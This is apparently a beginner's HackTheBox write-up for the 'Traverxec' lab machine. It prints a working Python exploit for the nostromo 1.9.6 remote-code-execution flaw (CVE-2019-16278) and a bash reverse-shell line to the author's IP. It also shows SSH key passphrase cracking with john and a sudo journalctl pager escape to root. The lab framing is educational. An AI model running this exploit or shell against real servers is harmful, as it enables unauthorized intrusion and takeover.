Pentest

Traverxec

HackTheBox

31 March 2020

Difficulty:

Intro :flashlight:

My first box, it was quite a fun and straightforward one. Got foothold from enumerating software versions, googling CVEs, then running the exploit. User was a lesson for RTFM, understanding manuals is a new thing for beginners like me. To get root we need to understand basic bash scripting, understanding “sudo -l” output, and using GTFObins.

Initial Foothold :mag:

Let’s put the IP into out /etc/hosts as traverxec.htb. I’ll masscan for open ports and then use nmap to save time.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.165 | tee masscan.output
Discovered open port 80/tcp on 10.10.10.165
Discovered open port 22/tcp on 10.10.10.165

Now let’s use nmap on those ports.

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6
Full nmap output
# Nmap 7.80 scan initiated Sat Mar 28 10:23:43 2020 as: nmap -O -sV -p80,22 -oA nmap.output traverxec.htb
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 28 10:24:03 2020 -- 1 IP address (1 host up) scanned in 20.53 seconds

What’s nostromo? Googled “nostromo 1.9.6 vulnerability” turns out it’s an RCE, found a py script in exploit-db. I modified the script a bit to make it easier. Here’s the cve2019_16278.py script.

#!/usr/bin/env python

import sys
import socket

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/bash HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload)
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":
    while 1:
        cmd = raw_input("cmd> ")
        cve("traverxec.htb", 80, cmd)

Download my modified cve2019_16278.py here.

Now we got a shell as “www-data”, let’s try to get user.

User Own :heavy_dollar_sign:

I just remembered about reverse shells, so let’s establish one.

nc -lvp 1234

Then I’ll execute this through the CVE script.

/bin/bash -i >& /dev/tcp/10.10.my.ip/1234 0>&1

I wandered around /home to see the users.

So it’s just david, notice that we don’t have read permission for david/.

Yet we can somehow can still cd into it, which isn’t supposed to be possible, though we can’t ls in there. But I also don’t know why, so let’s just keep this in mind for now.

So then I wandered around /var, turns out the nostromo server files are in /var/nostromo, so then I looked around.

Let’s try /var/nostromo/htdocs first because that’s where the pages are located.

Nothing interesting, I also checked the subdirs and the other files here. so let’s try another, how about /var/nostromo/conf.

Alright we found a .htpasswd, meaning:

The .htaccess isn’t here, so let’s look at nhttpd.conf which seems like the main config file for this nostromo server.

Since I don’t know what anything means, let’s google. “what is nhttpd.conf” got me straight into a nostromo webserver manual page about the file.

Everything seems normal, but then there’s this part.

HOMEDIRS

To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:

http://www.nazgul.ch/~hacki/

The content of the home directory is handled exactly the same way as a directory in your document root. If some users don’t want that their home directory can be accessed via HTTP, they shall remove the world readable flag on their home directory and a caller will receive a 403 Forbidden response. Also, if basic authentication is enabled, a user can create an .htaccess file in his home directory and a caller will need to authenticate. You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.

In out nhttpd.conf we have this part that corresponds.

...
# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www
Full nhttpd.conf content
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

So let’s try to access /home/david/ from the url then.

Looks like we hit a wall here, I tried to see if the .htaccess is here, but I got 404. After a bit of head scratching, I read the man page again and tried to fully grasp what this sentence meant.

You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.

Along with the corresponding line in the nhttpd.conf file.

...
homedirs_public         public_www

I tried to access it from the url, but got 404. So I read the sentence again, and tried to cd into public_www/ from /home/david and whaddya know.

So it turns out you can’t just cd *, rather you have to know the full dir name. Also there’s still no .htaccess here, though it does have index.html, so let’s try that in the url.

Now I’m starting to understand that sentence in the man page, because homedirs_public is set to public_www, the dir david/public_www is the only dir accessible from the url, not the entire david/, and when we access ~david/ from the url, we immediately get into david/public_www. Now let’s see what’s in here.

We found the .htaccess which is probably where our cracked .htpasswd will come in, we also found a tgz archive, we have some options here.

So I sent it directly with nc, then decompressed it.

Then I tried to ssh in with the id_rsa key, but turns out the key needs a password in order to be used. After googling “cracking ssh key password”, now we know how to crack the key password with john. First we need to run ssh2john.py script on the key.

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash

Then we can start bruteforcing it.

john id_rsa.hash

We got the password “hunter”.

Full john output
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
hunter           (id_rsa)
Proceeding with incremental:ASCII
1g 0:00:00:14  3/3 0.07037g/s 809127p/s 809127c/s 809127C/s pjm2cg..pjmpsy
Session aborted

Now let’s ssh in.

We got user!

Root Own :zap:

After wandering around, I found this script in /home/david/bin.

Tried running it, it ran without asking for password, wierd because it has this line.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

It has sudo so it should’ve asked for a password right? So then I googled quite a bit about “simple linux privilege escalation”, and it turns out that users can actually do privileged commands with no password if set that way by root. We can see it by running sudo -l but to do that we need the root password. I then tried GTFOBins and searched for “journalctl”.

This invokes the default pager, which is likely to be less, other functions may apply.

If it calls a pager, then what’s the pipe to /usr/bin/cat for? So I tried running the whole line but without cat. It did call the pager.

We got root! :checkered_flag::checkered_flag:

Post Exploitation :memo:

Takeaway :books: